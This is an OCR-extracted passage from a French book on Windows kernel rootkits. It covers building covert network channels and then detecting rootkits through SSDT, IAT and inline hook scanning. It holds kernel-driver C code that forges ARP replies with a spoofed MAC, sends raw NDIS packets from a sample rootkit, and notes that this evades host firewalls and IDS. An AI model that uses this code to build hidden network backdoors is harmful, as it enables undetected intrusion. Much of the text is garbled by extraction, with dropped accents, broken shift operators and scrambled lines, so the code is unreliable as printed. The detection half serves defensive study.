unsigned char h_dest[ETH_ALEN]; /* Adr. Ethernet de destination */ unsigned
char h_source[ETH_ALEN];/* Adr. Ethernet source */ unsigned short h_proto;
/* Champ d'identification du type de paquet */

};

struct ether_arp

{
struct arphdr ea_hdr; /* En-tte de taille fixe */ u_char
arp_sha[ETH_ALEN]; /* Adresse matrielle de l'metteur */ u_char
arp_spa[4]; /* Adresse de protocole de l'metteur */ u_char
arp_tha[ETH_ALEN]; /* Adresse matrielle cible */ u_char arp_tpa[4]; /*
Adresse de protocole cible */

};
void RespondToArp( struct in_addr sip, struct in_addr tip,
_ int64 enaddr)

{
struct
struct
struct
struct

ether_header *eh;
ether_arp *ea;
sockaddr sa;
pps *pp = NULL;

300 Rootkits

Infiltrations du noyau Windows

Ladresse MAC que nous utilisons, ou forgeons, est 0XDEADBEEFDEAD. Nous allouons un
paquet suffisamment grand pour une rponse ARP. Ceci est initialis avec des octets
NULL.
_ int64 our_mac = 0xADDEEFBEADDE; // Adresse MAC forge

Nous remplissons les champs de len-tte Ethernet. Le type de protocole est dfini
avec ETH_P_ARP, reprsentant la constante 0x806.
ea = ExAllocatePool(NonPagedPool,sizeof(struct ether_arp));
memset(ea, 0, sizeof (struct ether_arp)); eh = (struct
ether_header *)sa.sa_data;
(void)memcpy(eh->h_dest, &enaddr, sizeof(eh->h_dest));
(void)memcpy(eh->h_source, &our_mac, sizeof(eh->h_source)); eh>h_proto = htons(ETH_P_ARP);

Nous remplissons aussi les champs dune structure de "prototype Ether/ARP" :


ea->arp_hrd = htons(ARPHRD_ETHER);
ea->arp_pro = htons(ETH_P_IP);
ea->arp_hln = sizeof(ea->arp_sha); /* Longueur d'adresse matrielle */ ea>arp_pln = sizeof(ea->arp_spa); /* Longueur d'adresse de protocole*/ ea>arp_op = htons(ARPOP_REPLY);
(void)memcpy(ea->arp_sha, &our_mac, sizeof(ea->arp_sha));
(void)memcpy(ea->arp_tha, &enaddr, sizeof(ea->arp_tha));
(void)memcpy(ea->arp_spa, &sip, sizeof(ea->arp_spa)); (void)memcpy(ea>arp_tpa, &tip, sizeof(ea->arp_tpa));
pp = ExAllocatePool(NonPagedPool,sizeof(struct pps));
memcpy(&(pp->eh), eh, sizeof(struct ether_header));
memcpy(&(pp->ea), ea, sizeof(struct ether_arp));

Nous envoyons les donnes sur linterface rseau en utilisant la fonction


Aprs lenvoi du paquet, nous librons les ressources :

SendRaw.

// Envoie un paquet brut sur l'interface par dfaut


SendRaw((char *)pp, sizeof(struct pps));
ExFreePool(pp);
ExFreePool(ea);

}
Certaines macros utiles pour effectuer la traduction adresse de rseau (htons, etc.) :
#define INETADDR(a, b, c, d) (a + (b8) + (c16) + (d24))
#define HTONL(a) ( ( (a&0xFF)24) + ( (a&0xFF00)8) + ( (a&0xFF0000)8) +
( (a&0xFF000000)24) )
#define HTONS(a) ( ( (0xFF&a)8) + ( (0xFF00&a)8) )

Chapitre 9

Canaux de communication secrets 301

Passerelle IP
Comme nous lavons vu, ARP est utilis pour associer une adresse MAC une adresse
IP, ce qui permet la transmission du trafic jusquau destinataire voulu. Toutefois, les
adresses MAC ne sont utilises que sur le rseau local. Elles ne servent pas au routage
sur Internet. Si une adresse IP est externe au rseau local, le paquet doit tre rout.
Cest cela que sert une passerelle.
Une passerelle possde gnralement une adresse IP et une adresse MAC aussi. Pour
router des paquets hors du rseau, vous avez juste besoin dutiliser ladresse MAC de
la passerelle dans votre paquet. En dautres termes, vous nenvoyez pas de paquets
ladresse IP de la passerelle.
Par exemple, si je souhaite envoyer un paquet 172.16.10.10 et que mon rseau soit
192.168.0.
0, je dois trouver ladresse MAC de la passerelle. Si son adresse IP est
192.168.1.1, je peux utiliser ARP pour la trouver. Jenvoie ensuite le paquet
172.16.10.10 en utilisant ladresse MAC de la passerelle.

Envoi d'un paquet


Vous pouvez utiliser NdisSend pour envoyer des paquets bruts sur le rseau. Le code
suivant illustre cette mthode. Lextrait provient galement de lexemple de rootkit
rk_044 introduit plus haut et tlchargeable ladresse indique.
Cet exemple utilise un verrou spinlock pour partager laccs une structure de
donnes globale. Ceci est important pour la scurit dexcution du thread puisque la
fonction de callback qui collecte les paquets est excute dans le contexte dun autre
thread :
V0ID SendRaw(char *c, int len)

{
NDIS_STATUS aStat;
DbgPrint("ROOTKIT: SendRaw called\n");
/* Acquiert un verrou libr une fois l'envoi termin seulement */
KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);

Nous allouons ensuite un paquet NDIS PACKET partir de notre pool de paquets. Dans
cet exemple, le handle de pool de paquets est stock dans une structure globale (nous
avons dcrit plus haut lallocation dun pool de paquets lors de la prsentation de
OnOpenAdapterDone).
if(gOpenlnstance && c){
PNDIS_PACKET aPacketP;
NdisAllocatePacket(&aStat,
&aPacketP,

Infiltrations du noyau Windows

302 Rootkits

gOpenInstance->mPacketPoolH

);
if(NDIS_STATUS_SUCCESS == aStat)

{
PVOID aBufferP;
PNDIS_BUFFER anNdisBufferP;

Nous allouons ensuite un tampon NDIS_BUFFER de notre pool de tampons. Ici aussi,
le handle du pool est global. Le tampon est initialis avec les donnes du paquet
envoyer et ensuite "chan" au paquet NDIS_PACKET. Notez que nous avons dfini le
champ rserv de NDIS_PACKET NULL pour que notre fonction OnSendDone function
sache quil sagit dun envoi gnr localement.
NdisAllocateMemory( &aBufferP,
len,

0,
HighestAcceptableMax );
memcpyf aBufferP, (PVOID)c, len);
NdisAllocateBuffer( &aStat,
&anNdisBufferP,
gOpenInstance->mBufferPoolH,
aBufferP,
len );
if(NDIS_STATUS_SUCCESS == aStat)

{
RESERVED(aPacketP)->Irp = NULL;
NdisChainBufferAtBack(aPacketP, anNdisBufferP);

Le paquet NDIS_PACKET est pass NdisSend. Si NdisSend se termine immdiatement, nous appelons OnSendDone, sinon lappel est "en attente" et OnSendDone
sera appel lorsque lopration denvoi sera termine.
NdisSend( &aStat,
gOpenInstance->AdapterHandle,
aPacketP );
if (aStat != NDIS_STATUS_PENDING )

{
OnSendDone( gOpenlnstance,
aPacketP,
aStat );

}
}
else

{
}
}
else

// Erreur

Canaux de communication secrets 303

Chapitre 9

{
I l Erreur

}
}
/* Libre le verrou pour permettre le prochain envoi */
KeReleaseSpinLock(&GlobalArraySpinLock, glrqL);

}
Le code dans OnSendDone libre les ressources qui avaient t alloues pour lenvoi :
VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )

{
PNDIS_BUFFER anNdisBufferP;
PVOID aBufferP;
UINT aBufferLen;
PIRP Irp;
DbgPrint("ROOTKIT: OnSendDone called\n");
KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);

Si lopration denvoi tait initie partir dune application en mode utilisateur et non
du noyau comme nous lavons fait pour notre exemple, nous aurions un IRP grer. Il
aurait alors t stock dans le champ rserv du paquet NDIS_PACKET :
Irp=RESERVED(pPacket)->Irp; if(Irp)

{
NdisReinitializePacket(pPacket);
NdisFreePacket(pPacket);
Irp->IoStatus.Status = NDIS_STATUS_SUCCESS;
/* Pas de rapport d'envoi.. */
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, I0_N0_INCREMENT);

}
else

{
En supposant quil ny a pas dIRP, nous dissocions le tampon NDIS BUFFER du paquet
NDIS_PACKET. Lappel de NdisQueryBuffer nous permet de rcuprer le tampon de
mmoire original pour que nous puissions le librer. Ceci est important car sinon il se
produira une "fuite" de mmoire (leak) pour chaque paquet envoy ! Notez que nous
utilisons aussi un verrou spinlock pour protger laccs au tampon global partag.

304 Rootkits

Infiltrations du noyau Windows

I l Si pas d'IRP, c'tait alors local


NdisUnchainBufferAtFront( pPacket,
&anNdisBufferP );
if(anNdisBufferP)

{
NdisQueryBuffer(
anNdisBufferP,
&aBufferP,
&aBufferLen);
if(aBufferP)

{
NdisFreeMemory( aBufferP,
aBufferLen,

0 );

}
NdisFreeBuffer(anNdisBufferP);

}
NdisReinitializePacket(pPacket);
NdisFreePacket(pPacket);

}
/* Libre le verrou pour permettre le prochain envoi.. */
KeReleaseSpinLock(&GlobalArraySpinLock, glrqL);
return;

Le choix dutiliser NDIS ou TDI dpend du niveau auquel vous voulez tre sur la
machine. Chaque approche a ses avantages et ses inconvnients (voir Tableau 9.1).
Tableau 9.1 : Les avantages et les inconvnients de NDIS et de TDI
Mthode
NDIS

TDI

Avantages
Permet denvoyer et de recevoir des
trames brutes qui sont indpendantes
de la pile IP de lhte.
Peut tre prfrable si vous voulez
viter la dtection par des systmes
pare-feu ou IDS hbergs.

Inconvnients

Ncessite dintgrer sa propre pile TCP/


IP ou de forger un quelconque protocole
intelligent pour le transfert des donnes.
Lemploi de plusieurs adresses MAC
peut provoquer des problmes avec
certains commutateurs.
Permet davoir une interface trs
Le trafic utilisant cette mthode a plus de
semblable aux sockets, ce qui sera plus chances dtre captur par le systme
facile pour de nombreux
pare-feu de lhte.
programmeurs.
Utilise la pile TCP/IP de lhte et vite
les problmes de double adresse IP et
MAC.

Chapitre 9

Canaux de communication secrets 305

Vous disposez maintenant des outils requis pour manipuler le trafic de rseau et
comprendre comment un tel rootkit fonctionne.

Conclusion
La dissimulation de donnes est une tactique ancienne applique aux nouvelles
technologies. Cest mme une source dinspiration lorsquelle est reprise par
Hollywood ou dans la fiction populaire. Dans ce chapitre, nous avons touch au
concept essentiel de "dissimulation dcouvert" et introduit les mcanismes de NDIS
et de TDI qui peuvent tre exploits pour envoyer et recevoir du trafic de rseau
laide dun driver de noyau sous Windows.
Avec les technologies disponibles, il est possible de concevoir des systmes dplaant
des donnes sans que cela soit dtect. Une affirmation hardie, direz-vous, mais la
plupart des rseaux sont surchargs et leur architecture de dtection dintrusions nest
pas assez robuste. La plupart du temps, les administrateurs font simplement de leur
mieux pour maintenir le rseau oprationnel, et un petit filet de donnes passera
inaperu.

Dtection dun rootkit


Je ne sais si ma terre natale est un pturage pour les btes sauvages ou
si c est encore ma demeure.
- Pote anonyme de Maarra

Comme nous lavons dmontr dans ce livre, les rootkits peuvent tre difficiles
dtecter, surtout lorsquils oprent dans le noyau, car ils peuvent alors modifier les
fonctions utilises par tous les logiciels, y compris les outils de scurit.
La puissance disponible pour les logiciels de protection contre les intrusions est
galement exploitable par les rootkits. De la mme manire que certaines voies
peuvent tre bloques pour empcher un rootkit de sintroduire, elles peuvent aussi
tre libres. Un rootkit peut empcher un outil de dtection ou de prvention de
sexcuter ou de fonctionner correctement. Cela se rsume un bras de fer entre
lattaquant et le dfenseur, lavantage allant celui qui se charge dans le noyau et
sexcute en premier.
Il faut savoir que ce qui permet aujourdhui un dfenseur de dtecter un rootkit sera
peut-tre inefficace demain. Les rootkits se perfectionnent mesure que leurs
dveloppeurs identifient la faon dont les logiciels de dtection procdent. Linverse
est galement vrai. Les dfenseurs actualisent constamment leurs outils avec
lmergence de nouvelles techniques de rootkits.

308 Rootkits

Infiltrations du noyau Windows

Ce chapitre examine les deux approches de base de la dtection de rootkits : dtecter


un rootkit et dtecter le comportement dun rootkit. Une fois que vous vous serez
familiaris avec ces deux approches, vous serez davantage en mesure de vous
dfendre.

Dtection de la prsence d'un rootkit


De nombreuses techniques existent pour dtecter la prsence dun rootkit. Par le pass,
les logiciels tels que Tripwire (www.tripwire.org) recherchaient une image sur le
systme de fichiers. Cette dmarche est toujours employe par la plupart des fabricants
dantivirus et peut tre applique la dtection de rootkits.
Une telle approche part du principe quun rootkit utilisera le systme de fichiers.
Evidemment, elle ne fonctionnera pas si le rootkit sexcute uniquement depuis la
mmoire ou sil se trouve sur un composant matriel. De plus, si un programme
antirootkit est lanc sur un systme en ligne qui a dj t infect, il sera inoprant *.
Un rootkit qui dissimule des fichiers en hookant des appels systme ou en utilisant un
driver chan de filtrage de fichiers neutralisera ce mode de dtection.
Etant donn que les logiciels comme Tripwire possdent des limitations, dautres
mthodes permettant de dtecter la prsence de rootkits ont t dveloppes. Les
sections suivantes exposent celles grce auxquelles trouver un rootkit en mmoire ou
dtecter la preuve de sa prsence.

Surveillance des points d'entre


Nimporte quel logiciel doit exister quelque part en mmoire. Aussi, pour dcouvrir un
rootkit, vous pouvez rechercher dans la mmoire.
Cette technique prend deux formes. La premire consiste dtecter un rootkit lorsquil
se charge en mmoire. Il sagit dune dmarche de surveillance : dtecter ce qui entre
dans la mmoire de lordinateur (processus, drivers, etc.). Un rootkit peut utiliser de
nombreuses fonctions diffrentes du systme dexploitation pour se charger. En
surveillant ces points dentre, le logiciel de dtection peut parfois reprer un rootkit.
Les points surveiller tant multiples, si le logiciel en omet un seul, cette stratgie de
dfense risque dchouer. 1
1. Pour obtenir de meilleurs rsultats, un logiciel de contrle dintgrit des fichiers devrait tre excut hors
ligne sur une copie de limage du disque.

Chapitre 10

Dtection d'un rootkit 309

Ctait justement le problme du programme IPD (Integrity Protection Driver), de


Pedestal Software1. IPD hookait des fonctions du noyau dans la SSDT, telles que
NtLoadDriver et NtOpenSection. Nous avons dcouvert quil tait possible de charger
un module dans la mmoire du noyau en appelant la fonction ZwSetSyste- mlnf
ormation, laquelle ntait pas filtre par IPD. Aprs que le logiciel a t corrig pour
tenir compte de ce fait, en 2002, Crazylord a publi un article qui expliquait cette fois
comment employer un lien symbolique pour \ \DEVICE\ \PHYSICALMEMORY afin de
contourner la protection dIPD. Ce programme se devait dvoluer continuellement
pour pouvoir bloquer les nouvelles techniques de contournement de sa protection1 2.
La dernire version dIPD hooke les fonctions suivantes :
ffi ZwOpenKey ;
18 ZwCreateKey ;
61 ZwSetValueKey ;
ZwCreateFile ;
ZwOpenFile ;
B ZwOpenSection ;
ZwCreateLinkObject ;
H ZwSetSystemlnformation ; a
ZwOpenProcess.

La longueur de cette liste souligne la complexit du processus de dtection dun


rootkit. Et encore, elle nest pas complte. Un autre moyen de charger un rootkit est
dutiliser les points d'entre dans lespace dadressage dun autre processus. Toutes les
mthodes voques au Chapitre 4 pour charger une DLL dans un autre processus
doivent donc aussi tre surveilles. Et cela ne couvre mme pas toutes les techniques
de chargement dcrites dans ce livre.

1. Il semblerait que la socit Pedestal (www.pedestalsoftware.com) noffre plus ce produit.


2. Crazylord, "Playing with Windows /dev/(k)mem", Phrack n 59, article 16 (28 juin 2002), disponible sur
www.phrack.org/phrack/59/p59-0xl0.txt.

310 Rootkits

Infiltrations du noyau Windows

Identifier toutes les voies de chargement potentielles dun rootkit nest quune
premire tape. La difficult dans llaboration des techniques de dtection de
chargement rside dans le fait de dterminer ce quil faut surveiller et quand mettre
une alerte. Par exemple, un rootkit peut tre charg en mmoire via des cls de
registre. Des points de dtection vidents hooker seraient les fonctions ZwOpenKey,
ZwCreateKey et ZwSetValueKey ( linstar dIPD). Mais le logiciel de dtection qui
hooke ces fonctions doit aussi savoir quelles cls surveiller.
Les drivers sont gnralement placs dans la cl suivante :
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services

Cette cl reprsente un emplacement intressant filtrer dans votre fonction de


hooking du Registre, mais un rootkit pourrait modifier une autre cl :
HKEY_LOCAL_MACHINE\System\ControlSet001 \Services

Cette cl peut tre utilise lorsque la machine est dmarre avec la dernire bonne
configuration connue.
Il faut aussi considrer toutes les cls de registre relatives la faon dont les
extensions dapplications sont gres. En outre, des DLL additionnelles, telles que
Bho. dll (.Browser Helper Object), peuvent tre charges dans des processus.
Les logiciels de dtection doivent aussi tenir compte de la menace que constituent les
liens symboliques. Un tel lien est un alias pour un nom rel. Une des cibles que vous
cherchez protger pourrait avoir plusieurs noms. Si votre logiciel de dtection hooke
la table dappels systme et quun rootkit utilise un lien symbolique, la vritable cible
de ce lien naura pas encore t rsolue lorsque votre hook sera appel. En outre, la
ruche HKEY_LOCAL_MACHINE nest pas reprsente par ce nom dans le noyau. Mme si
votre logiciel pouvait hooker tous ces points de filtrage, le nombre demplacements
examiner semblerait infini.
Supposons nanmoins que vous ayez dcouvert tous les emplacements surveiller afin
dempcher le chargement de rootkits et que vous ayez rsolu tous les noms possibles
des ressources critiques protger. La difficult est maintenant de dcider quand
mettre une alerte. Si vous avez dtect le chargement dun driver ou dune DLL,
comment pouvez-vous savoir sil sagit ou non dun code malveillant ? Votre logiciel
de dtection aurait besoin dune signature pour pouvoir effectuer une comparaison, ce
qui suppose un vecteur dattaque connu. Une autre solution pour le logiciel serait
danalyser le comportement du module pour tenter de dterminer sil est hostile.

Chapitre 10

Dtection d'un rootkit 311

Ces deux approches sont trs dlicates mettre en uvre. Lemploi de signatures
requiert que les rootkits soient connus et ne convient donc pas lorsquun rootkit est
nouveau. Et la dtection de comportements symptomatiques donne lieu une
multitude de faux positifs et de faux ngatifs.
Savoir quand notifier un chargement est crucial et constitue un dfi de scurit
permanent pour les diteurs dantivirus.

Scan de la mmoire
Scanner la mmoire est la deuxime approche permettant de dtecter la prsence de
rootkits. Au lieu de surveiller laborieusement tous les points dentre dans le noyau ou
dans lespace dadressage dun autre processus, vous pourriez scanner rgulirement la
mmoire la recherche de modules connus ou de signatures correspondant des
rootkits. Lintrt de cette dmarche est sa simplicit. Mais, comme il a t dit, elle ne
permet de dtecter que les attaques connues. De plus, elle nempchera pas un rootkit
de se charger. Il faut dailleurs quun rootkit ait t charg pour quelle fonctionne. Si
votre logiciel scanne lespace dadressage des processus, il devra changer de contexte
pour chaque processus ou accomplir lui-mme le mapping adresses virtuelles/adresses
physiques. Si un rootkit du noyau est dj prsent, il peut interfrer avec ce traitement.

Recherche de hooks
Une autre approche de dtection de la prsence de rootkits en mmoire consiste
rechercher des hooks dans le systme dexploitation et dans les processus. Comme
expliqu aux Chapitres 4 et 5, de nombreux emplacements se prtent la dissimulation
de hooks. Voici les principaux types de hooks :
H hook de la table IAT (Import Address Table) ;
H hook de la table SSDT (System Service Dispatch Table) ;
H hook

de la table IDT (Interrupt Descriptor Table) dun processeur ;

Si hook

du gestionnaire de paquets IRP (I/O Request Packet) dun driver ;

S hook

de fonction en ligne.
La recherche de hooks saccompagne des mmes inconvnients que ceux mentionns
la section prcdente. Etant donn que le rootkit est dj charg en mmoire et
sexcute, il peut interfrer avec vos mthodes de dtection. Mais un avantage de

312 Rootkits

Infiltrations du noyau Windows

cette approche est quelle est gnrique, cest--dire quelle nimplique la recherche
daucune signature ou squence connue.
La procdure de base pour identifier un hook consiste rechercher les branchements
qui tombent en dehors dune plage acceptable. De tels branchements sont produits par
des instructions telles que CALL ou JMP. Le plus souvent, dfinir une plage acceptable
nest pas difficile. Dans une table IAT, le nom du module contenant les fonctions
importes est list. Ce module possde une adresse de dbut bien dfinie en mmoire
ainsi quune taille. Ces informations sont tout ce dont vous avez besoin.
Il en va de mme pour les drivers : tous les gestionnaires dIRP lgitimes doivent
exister dans la plage dadresses de leurs drivers respectifs, et toutes les entres de la
table SSDT sont normalement contenues dans la plage du processus du noyau,
Ntoskrnl.exe.

Identifier un hook de la table IDT est un peu plus compliqu car vous ne connaissez
pas la plage dadresses acceptable pour la plupart des interruptions. En revanche, vous
connaissez assurment celle du gestionnaire de linterruption INT 2E, qui devrait
pointer vers le noyau, Ntoskrnl. exe.
Un hook de fonction en ligne est le plus difficile dtecter car il peut se trouver
nimporte o dans la fonction, ncessitant de dsassembler entirement celle-ci. En
outre, dans des circonstances de fonctionnement normal, une fonction peut appeler des
adresses situes en dehors de la plage du module. Les sections suivantes expliquent
comment dtecter des hooks de SSDT et dIAT ainsi que certains hooks en ligne.
Rcuprer la plage dadresses des modules du noyau

Pour protger la SSDT ou la table de gestionnaires dIRP d'un driver, il faut dabord
identifier la plage dadresses acceptable. Pour cela, vous devez disposer dune adresse
de dbut et dune taille. Pour des modules du noyau, vous pouvez appeler
ZwQuerySystemlnformation cette fin.
Mais vous vous dites probablement que cette fonction peut galement tre hooke.
Cest effectivement possible mais, lorsquelle lest et ne retourne pas dinformations
pour Ntoskrnl.exe ou un driver qui a t charg, cela signifie quun rootkit est prsent.
Pour lister tous les modules du noyau, vous pouvez invoquer ZwQuerySystemlnformation en prcisant que vous vous intressez la classe dinformations

Dtection d'un rootkit 313

Chapitre 10

Vous obtiendrez une liste des modules chargs et les


informations associes chacun deux. Voici les structures contenant ces informations
:
SystemModulelnformation.

#define MAXIMUM_FILENAME_LENGTH 256


typedef struct _M0DULE_INF0 {
DWORD d_Reserved1;
DWORD d_Reserved2;
PVOID p_Base;
DWORD d_Size;
DWORD d_Flags;
WORD w_Index;
WORD w_Rank;
WORD w_LoadCount;
WORD w_NameOffset ;
BYTE a_bPath [MAXIMUM_FILENAME_LENGTH];
} MODULE_INFO, *PMODULE_INFO, **PPMODULE_INFO;
typedef struct _MODULE_LIST

{
int
d_Modules;
MODULE_INFO a_Modules [];
} MODULE_LIST, *PMODULE_LIST, **PPMODULE_LIST;

La fonction GetListOfModules alloue la mmoire requise et retourne un pointeur vers


cette mmoire si elle peut rcuprer les informations des modules systme :
/////////////////////////////////////////////////////////////////
///
// PMODULE_LIST GetListOfModules // Paramtres :
// IN PNTSTATUS, pointeur vers la variable NTSTATUS.
//
Utile pour le debugging.
// Retourne :
//
OUT PMODULE_LIST, pointeur vers MODULE_LIST
PMODULE_LIST GetListOfModules(PNTSTATUS pns)

{
ULONG ul_NeededSize;
ULONG *pul_ModuleListAddress = NULL;
NTSTATUS ns;
PMODULE_LIST pmi = NULL;
// Appelle ZwQuerySystemlnformation pour dterminer // la taille requise
pour stocker les informations.
ZwQuerySystemlnformation(SystemModuleInformtion,
&ul_NeededSize,

0
&ul_NeededSize);
pul_ModuleListAddress = (ULONG *) ExAllocatePool *(PagedPool,
ul_NeededSize);
if (!pul_ModuleListAddress) // Echec de ExAllocatePool
{ if (pns != NULL)

314 Rootkits

Infiltrations du noyau Windows

*pns = STATUS_INSUFFICIENT_RESOURCES;
return (PMODULE_LIST) pulJVIoduleListAddress ;

}
ns = ZwQuerySystemlnformation(SystemModulelnformation,
pul_ModuleListAddress,
ul_NeededSize,
0) ;
if (ns != STATUS_SUCCESS)// Echec de ZwQuerySystemlnformation

{
// Libre la mmoire pagine alloue
ExFreePool((PVOID) pul_ModuleListAddress); if
(pns != NULL)
*pns = ns;
return NULL;

}
pmi = (PMODULE_LIST) pulJVIoduleListAddress; if (pns != NULL)
*pns = ns; return pmi;

Vous disposez maintenant dune liste de tous les modules du noyau. Pour chacun
deux, deux informations importantes ont t retournes dans la structure M0DULE_INF0 :
ladresse de base et la taille du module. Vous connaissez prsent la plage acceptable
et pouvez commencer rechercher des hooks.
Dtecter les hooks de la SSDT

La fonction DriverEntry suivante appelle la fonction GetListOfModules puis examine


chaque entre de la liste retourne la recherche du module Ntos- krnl.exe.
Lorsquelle le trouve, une variable globale contenant ladresse de dbut et ladresse de
fin de ce module est initialise. Ces informations serviront rechercher dans la SSDT
les adresses qui tombent en dehors de la plage du module.
typedef struct _NT0SKRNL {
DWORD Base;
DWORD End;
} NTOSKRNL, *PNTOSKRNL;
PMODULE_LIST g_pml;
NTOSKRNL g_ntoskrnl;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)

{
int count; g_pml = NULL; g_ntoskrnl.Base = 0; g_ntoskrnl.End = 0;
g_pml = GetListOfModules();

Chapitre 10

Dtection d'un rootkit 315

if (!g_pml)
return STATUS_UNSUCCESSFUL; for (count = 0; count <
g_pml->d_Modules; count++)

{
I l Recherche l'entre correspondant ntoskrnl.exe if
(_stricmp( "ntoskrnl.exe11, g_pml->
a_Modules[count].a_bPath + g_pml->a_Modules[count],w_NameOffset) == 0)

{
g_ntoskrnl.Base = (DWORD)g_pml->a_Modules[count].p_Base; g_ntoskrnl.End
= ((DWORD)g_pml->
a_Modules[count].p_Base + g_pml>a_Modules[count].d_Size);

}
}
ExFreePool(g_pml); if (g_ntoskrnl.Base != 0) return STATUS_SUCCESS;
else
return STATUS_UNSUCCESSFUL;

}
La fonction suivante envoie en sortie un message de debugging si elle trouve dans la
SSDT une adresse qui sort de la plage acceptable :
#pragma pack( 1 )
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase; unsigned
int *ServiceCounterTableBase; unsigned
int NumberOfServices; unsigned char
*ParamTableBase;
} SDTEntry_t;
#pragma pack()
// Importe KeServiceDescriptorTable depuis ntoskrnl.exe
_ declspec(dllimport) SDTEntry_t KeServiceDescriptorTable;
void IdentifySSDTHooks(void)

{
int i;
for (i = 0; i < KeServiceDescriptorTable.NumberOfServices ; i++)

{
if ((KeServiceDescriptorTable.ServiceTableBase[i] <
g_ntoskrnl.Base) ||
(KeServiceDescriptorTable.ServiceTableBase[i] >
g_ntoskrnl.End))

{
DbgPrint("System call %d is hooked at address %x!\n", i,
KeServiceDescriptorTable.ServiceTableBase[i]);

}
}

316 Rootkits

Infiltrations du noyau Windows

Rechercher les hooks de la SSDT est une mthode de dtection trs efficace, mais ne
vous tonnez pas si vous en trouvez qui ne sont pas des rootkits. Souvenez-vous que de
nombreux logiciels de protection actuels hookent galement le noyau et diverses API.
La section suivante expose comment dtecter certains hooks de fonctions en ligne,
lesquels ont t couverts au Chapitre 4.

Dtecter les hooks en ligne

Pour simplifier, nous rechercherons ici uniquement les patchs de dtours qui
surviennent dans les premiers octets du prambule dune fonction (le dsassemblage
complet dune fonction du noyau dpasse le cadre de cet ouvrage). Pour dtecter un tel
patch, nous employons la fonction CheckNtoskrnlForOutsideJump :
/////////////////////////////////////////////////////

// DWORD CheckForOutsideJump

//

// Description :
// Cette fonction prend l'adresse de la fonction vrifier. // Elle
examine les premiers opcodes la recherche // de sauts immdiats,
etc.

//

DWORD CheckNtoskrnlForOutsideJump (DWORD dw_addr)

{
BYTE opcode = *((PBYTE)(dw_addr));
DWORD hook = 0;
WORD desc = 0;
// Voici les opcodes de sauts relatifs inconditionnels.
// L'opcode 0xeb est un saut relatif qui occupe un octet et peut
// donc sauter au maximum 255 octets depuis l'EIP courant.

//

// Nous ne savons pas encore comment grer l'opcode 0xea. Il //


ressemble imp XXXX:XXXXXXXX. Pour le moment, nous ignorerons
octets. Dans le futur, vous devriez
// simplement les deux premiers
Lis reprsentent le segment.
// ajouter ces deux octets car
== 0xe9))
if ((opcode == 0xe8) || (opcode
{
sauts courts sont ignors
// || (opcode == 0xeb) -> Ces
0;
hook |= *((PBYTE)(dw_addr+1))
8;
hook |= *((PBYTE)(dw_addr+2))
16;
hook |= *((PBYTE)(dw_addr+3))
24;
hook |= *((PBYTE)(dw_addr+4))
hook += 5 + dw_addr;

}
else if (opcode == 0xea)

{
hook |= *((PBYTE)(dw_addr+1))
hook j= *((PBYTE)(dw_addr+2))

0;
8;

Chapitre 10

Dtection d'un rootkit 317

hook |= *((PBYTE)(dw_addr+3)) 16; hook j= *((PBYTE)(dw_addr+4))


24;
I l Une mise jour s'impose pour reflter l'entre de la GDT,
I l mais nous l'ignorons pour le moment, desc = *((WORD
*)(dw_addr+5));

}
I l Maintenant que nous connaissons la destination du saut,
I l il faut vrifier si le hook est en dehors de I l Ntoskrnl.
S'il ne l'est pas, retourne 0. if (hook != 0)

{
if ((hook < g_ntoskrnl.Base) || (hook > g_ntoskrnl.End)) hook =
hook; else
hook = 0;

}
return hook;

}
A partir de ladresse dune fonction dans la SSDT, CheckNtoskrnlForOutsideJump
recherche dans cette fonction un saut inconditionnel immdiat. Si elle en trouve un,
elle tente de rsoudre ladresse vers laquelle le processeur se dbranchera. Elle
examine ensuite cette adresse pour dterminer si elle se trouve en dehors de la plage
acceptable pour Ntoskrnl. exe.
En adaptant la plage, vous pouvez utiliser ce code pour rechercher des hooks en ligne
dans les premiers octets de nimporte quelle fonction.
Dtecter les hooks de gestionnaires dIRP

Avec la fonction ZwQuerySystemlnformation, vous disposez dj du code requis pour


dtecter tous les drivers en mmoire, et le Chapitre 4 dcrit comment localiser la table
de gestionnaires dIRP dun driver spcifique. Pour dtecter les hooks de gestionnaires
dIRP, il vous suffit donc de combiner ces deux techniques. Vous pourriez
drfrencer chaque pointeur de fonction pour rechercher des hooks en ligne dans les
gestionnaires laide du code prcdent.
Dtecter les hooks dIAT

Les hooks dIAT sont largement utiliss par les rootkits pour Windows actuels. Etant
donn quils oprent dans la portion utilisateur dun processus, ils sont plus faciles
programmer que les rootkits en mode noyau et ne requirent pas le mme niveau de
privilges. Pour cette raison, vous devriez vous assurer que votre logiciel de dtection
recherche ce type de hook.

318 Rootkits

Infiltrations du noyau Windows

Rechercher les hooks dIAT est plutt laborieux et implique de recourir de


nombreuses techniques prsentes dans les chapitres prcdents. Ces tapes ne sont
malgr tout pas compliques. Pour commencer, vous devez changer de contexte en
vous plaant dans lespace dadressage du processus dans lequel vous voulez effectuer
votre recherche. Autrement dit, votre code de dtection doit sexcuter dans le
processus qui est examin. Certaines des mthodes employes cet effet sont
exposes au Chapitre 4 la section "Hooks de niveau utilisateur".
Ensuite, votre code doit rcuprer une liste de toutes les DLL qui ont t charges par
le processus. Votre objectif est dinspecter les fonctions importes en scannant LIAT
pour identifier celles dont les adresses tombent en dehors des plages des DLL. Une
fois que vous disposez de cette liste et de la plage dadresses de chaque DLL, vous
pouvez adapter le code de la section "Approche de hooking hybride" du Chapitre 4
pour scanner LIAT de chaque DLL la recherche de hooks. Vous devriez tre
particulirement attentif aux DLL Kernel32.dll et Ntdll.dll, qui sont des cibles
courantes des rootkits car elles servent dinterface utilisateur avec le systme
dexploitation.
Si LIAT na pas t hooke, vous devriez nanmoins en profiter pour examiner les
fonctions elles-mmes afin de vrifier quelles ne contiennent pas de hooks en ligne.
Le code ncessaire pour cela a t prsent plus haut, dans la fonction
CheckNtoskrnlForOutsideJump. Il vous suffit de changer la plage de la DLL cible.
Voici plus en dtail comment procder. Une fois que vous vous trouvez dans lespace
dadressage dun processus, vous disposez de diffrentes mthodes pour obtenir une
liste de ses DLL. Par exemple, lAPI Win32 possde une fonction EnumProcessModules :
BOOL EnumProcessModulesf
